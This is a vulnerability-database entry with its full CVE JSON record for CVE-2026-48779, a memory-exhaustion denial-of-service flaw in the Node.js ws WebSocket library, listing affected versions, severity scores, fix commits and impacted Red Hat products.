Vulnerability-Lookup

CVE-2026-48779 (GCVE-0-2026-48779)

Vulnerability from cvelistv5 – Published: 2026-06-16 21:26 – Updated: 2026-07-02 12:05

Title

ws: Memory exhaustion DoS from tiny fragments and data chunks

Summary

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

URL

Tags

	https://github.com/websockets/ws/security/advisor…	x_refsource_CONFIRM
	https://github.com/websockets/ws/commit/86d3e8a5f…	x_refsource_MISC
	https://github.com/websockets/ws/commit/b5372ac67…	x_refsource_MISC
	https://github.com/websockets/ws/commit/bca91adf1…	x_refsource_MISC
	https://github.com/websockets/ws/commit/fd36cd864…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	websockets	ws	Affected: >= 1.1.0, < 5.2.5 Affected: >= 6.0.0, < 6.2.4 Affected: >= 7.0.0, < 7.5.11 Affected: >= 8.0.0, < 8.21.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-48779",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-17T18:07:28.748295Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-17T18:12:48.129Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "cpes": [
              "cpe:/a:redhat:cluster_observability_operator:1.5::el9"
            ],
            "defaultStatus": "affected",
            "product": "Cluster Observability Operator 1.5.0",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:rhdh:1.9::el9"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Developer Hub 1.9",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:discovery:2::el9"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Discovery 2",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:service_mesh:2.6::el8"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat OpenShift Service Mesh 2.6",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:service_mesh:3.0::el9"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat OpenShift Service Mesh 3.0",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:service_mesh:3.1::el9"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat OpenShift Service Mesh 3.1",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:service_mesh:3.2::el9"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat OpenShift Service Mesh 3.2",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:service_mesh:3.3::el9"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat OpenShift Service Mesh 3.3",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:cryostat:4"
            ],
            "defaultStatus": "affected",
            "product": "Cryostat 4",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:gatekeeper:3"
            ],
            "defaultStatus": "affected",
            "product": "Gatekeeper 3",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:rhmt:1"
            ],
            "defaultStatus": "affected",
            "product": "Migration Toolkit for Containers",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:workload_availability_nhc:0"
            ],
            "defaultStatus": "affected",
            "product": "Node HealthCheck Operator",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:openshift_lightspeed"
            ],
            "defaultStatus": "affected",
            "product": "OpenShift Lightspeed",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:openshift_pipelines:1"
            ],
            "defaultStatus": "affected",
            "product": "OpenShift Pipelines",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:amq_broker:7"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat AMQ Broker 7",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:ansible_automation_platform:2"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Ansible Automation Platform 2",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:apache_camel_hawtio:4"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat build of Apache Camel - HawtIO 4",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:podman_desktop:1"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Build of Podman Desktop",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:podman_desktop:0"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Build of Podman Desktop - Tech Preview",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:connectivity_link:1"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Connectivity Link 1",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/o:redhat:enterprise_linux:10"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Enterprise Linux 10",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/o:redhat:enterprise_linux:8"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Enterprise Linux 8",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/o:redhat:enterprise_linux:9"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Enterprise Linux 9",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:enterprise_linux_ai:3"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:jboss_fuse:7"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Fuse 7",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:hummingbird:1"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Hardened Images",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:openshift_ai"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat OpenShift AI (RHOAI)",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:openshift:4"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat OpenShift Container Platform 4",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:openshift_data_foundation:4"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Openshift Data Foundation 4",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:openshift_devspaces:3"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat OpenShift Dev Spaces",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:container_native_virtualization:4"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat OpenShift Virtualization 4",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:quay:3"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Quay 3",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:satellite:6"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Satellite 6",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:trusted_artifact_signer:1"
            ],
            "defaultStatus": "affected",
            "product": "Red Hat Trusted Artifact Signer",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:ansible_portal:2"
            ],
            "defaultStatus": "affected",
            "product": "Self-service automation portal 2",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:service_mesh:3"
            ],
            "defaultStatus": "unaffected",
            "product": "OpenShift Service Mesh 3",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:camel_spring_boot:4"
            ],
            "defaultStatus": "unaffected",
            "product": "Red Hat build of Apache Camel for Spring Boot 4",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:build_keycloak:"
            ],
            "defaultStatus": "unaffected",
            "product": "Red Hat Build of Keycloak",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:jboss_data_grid:8"
            ],
            "defaultStatus": "unaffected",
            "product": "Red Hat Data Grid 8",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:jboss_enterprise_application_platform:8"
            ],
            "defaultStatus": "unaffected",
            "product": "Red Hat JBoss Enterprise Application Platform 8",
            "vendor": "Red Hat"
          },
          {
            "cpes": [
              "cpe:/a:redhat:jbosseapxp"
            ],
            "defaultStatus": "unaffected",
            "product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
            "vendor": "Red Hat"
          }
        ],
        "datePublic": "2026-06-16T21:26:22.537Z",
        "descriptions": [
          {
            "lang": "en",
            "value": "A flaw was found in ws, an open source WebSocket client and server. A remote attacker can exploit this memory exhaustion vulnerability by sending a high volume of exceptionally small fragments and data chunks. This action forces the affected component to allocate and hold structural wrappers that consume excessive memory. Consequently, this leads to process termination and a denial of service (DoS) for the remote peer."
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "namespace": "https://access.redhat.com/security/updates/classification/",
                "value": "Important"
              },
              "type": "Red Hat severity rating"
            }
          },
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            },
            "format": "CVSS"
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-1050",
                "description": "Excessive Platform Resource Consumption within a Loop",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-02T12:05:02.554Z",
          "orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
          "shortName": "redhat-SADP"
        },
        "references": [
          {
            "tags": [
              "vdb-entry",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/security/cve/CVE-2026-48779"
          },
          {
            "name": "RHBZ#2489661",
            "tags": [
              "issue-tracking",
              "x_refsource_REDHAT"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489661"
          },
          {
            "tags": [
              "x_sadp-csaf-vex"
            ],
            "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:34342"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:33574"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:29197"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:33155"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:33160"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:33163"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:33173"
          },
          {
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2026:33183"
          }
        ],
        "solutions": [
          {
            "lang": "en",
            "value": "RHSA-2026:34342: Cluster Observability Operator 1.5.0"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:33574: Red Hat Developer Hub 1.9"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:29197: Red Hat Discovery 2"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:33155: Red Hat OpenShift Service Mesh 2.6"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:33160: Red Hat OpenShift Service Mesh 3.0"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:33163: Red Hat OpenShift Service Mesh 3.1"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:33173: Red Hat OpenShift Service Mesh 3.2"
          },
          {
            "lang": "en",
            "value": "RHSA-2026:33183: Red Hat OpenShift Service Mesh 3.3"
          }
        ],
        "timeline": [
          {
            "lang": "en",
            "time": "2026-06-16T22:01:24.571Z",
            "value": "Reported to Red Hat."
          },
          {
            "lang": "en",
            "time": "2026-06-16T21:26:22.537Z",
            "value": "Made public."
          }
        ],
        "title": "ws: ws: Denial of Service via memory exhaustion from small WebSocket fragments",
        "workarounds": [
          {
            "lang": "en",
            "value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability."
          }
        ],
        "x_adpType": "supplier",
        "x_generator": {
          "engine": "sadp-cli 1.0.0"
        }
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "ws",
          "vendor": "websockets",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.1.0, \u003c 5.2.5"
            },
            {
              "status": "affected",
              "version": "\u003e= 6.0.0, \u003c 6.2.4"
            },
            {
              "status": "affected",
              "version": "\u003e= 7.0.0, \u003c 7.5.11"
            },
            {
              "status": "affected",
              "version": "\u003e= 8.0.0, \u003c 8.21.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-16T21:26:22.537Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p"
        },
        {
          "name": "https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7"
        },
        {
          "name": "https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53"
        },
        {
          "name": "https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94"
        },
        {
          "name": "https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8"
        }
      ],
      "source": {
        "advisory": "GHSA-96hv-2xvq-fx4p",
        "discovery": "UNKNOWN"
      },
      "title": "ws: Memory exhaustion DoS from tiny fragments and data chunks"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-48779",
    "datePublished": "2026-06-16T21:26:22.537Z",
    "dateReserved": "2026-05-22T20:18:20.365Z",
    "dateUpdated": "2026-07-02T12:05:02.554Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"ws: ws: Denial of Service via memory exhaustion from small WebSocket fragments\", \"metrics\": [{\"other\": {\"type\": \"Red Hat severity rating\", \"content\": {\"value\": \"Important\", \"namespace\": \"https://access.redhat.com/security/updates/classification/\"}}}, {\"format\": \"CVSS\", \"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"cpes\": [\"cpe:/a:redhat:cluster_observability_operator:1.5::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Cluster Observability Operator 1.5.0\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:rhdh:1.9::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Developer Hub 1.9\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:discovery:2::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Discovery 2\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:2.6::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 2.6\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3.0::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 3.0\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3.1::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 3.1\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3.2::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 3.2\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3.3::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 3.3\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:cryostat:4\"], \"vendor\": \"Red Hat\", \"product\": \"Cryostat 4\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:gatekeeper:3\"], \"vendor\": \"Red Hat\", \"product\": \"Gatekeeper 3\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:rhmt:1\"], \"vendor\": \"Red Hat\", \"product\": \"Migration Toolkit for Containers\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:workload_availability_nhc:0\"], \"vendor\": \"Red Hat\", \"product\": \"Node HealthCheck Operator\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_lightspeed\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Lightspeed\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_pipelines:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Pipelines\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_broker:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat AMQ Broker 7\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:apache_camel_hawtio:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apache Camel - HawtIO 4\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:podman_desktop:1\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Podman Desktop\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:podman_desktop:0\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Podman Desktop - Tech Preview\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:connectivity_link:1\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Connectivity Link 1\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:10\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 10\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 8\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 9\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:enterprise_linux_ai:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux AI (RHEL AI) 3\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_fuse:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Fuse 7\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:hummingbird:1\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Hardened Images\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Container Platform 4\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_data_foundation:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Openshift Data Foundation 4\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:container_native_virtualization:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Virtualization 4\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:quay:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Quay 3\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:satellite:6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Satellite 6\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:trusted_artifact_signer:1\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Trusted Artifact Signer\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_portal:2\"], \"vendor\": \"Red Hat\", \"product\": \"Self-service automation portal 2\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Service Mesh 3\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:camel_spring_boot:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apache Camel for Spring Boot 4\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:build_keycloak:\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Keycloak\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_data_grid:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Data Grid 8\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 8\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jbosseapxp\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform Expansion Pack\", \"defaultStatus\": \"unaffected\"}], \"timeline\": [{\"lang\": \"en\", \"time\": \"2026-06-16T22:01:24.571Z\", \"value\": \"Reported to Red Hat.\"}, {\"lang\": \"en\", \"time\": \"2026-06-16T21:26:22.537Z\", \"value\": \"Made public.\"}], \"solutions\": [{\"lang\": \"en\", \"value\": \"RHSA-2026:34342: Cluster Observability Operator 1.5.0\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:33574: Red Hat Developer Hub 1.9\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:29197: Red Hat Discovery 2\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:33155: Red Hat OpenShift Service Mesh 2.6\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:33160: Red Hat OpenShift Service Mesh 3.0\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:33163: Red Hat OpenShift Service Mesh 3.1\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:33173: Red Hat OpenShift Service Mesh 3.2\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:33183: Red Hat OpenShift Service Mesh 3.3\"}], \"x_adpType\": \"supplier\", \"datePublic\": \"2026-06-16T21:26:22.537Z\", \"references\": [{\"url\": \"https://access.redhat.com/security/cve/CVE-2026-48779\", \"tags\": [\"vdb-entry\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://bugzilla.redhat.com/show_bug.cgi?id=2489661\", \"name\": \"RHBZ#2489661\", \"tags\": [\"issue-tracking\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json\", \"tags\": [\"x_sadp-csaf-vex\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:34342\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33574\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:29197\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33155\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33160\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33163\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33173\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33183\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}], \"workarounds\": [{\"lang\": \"en\", \"value\": \"Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and 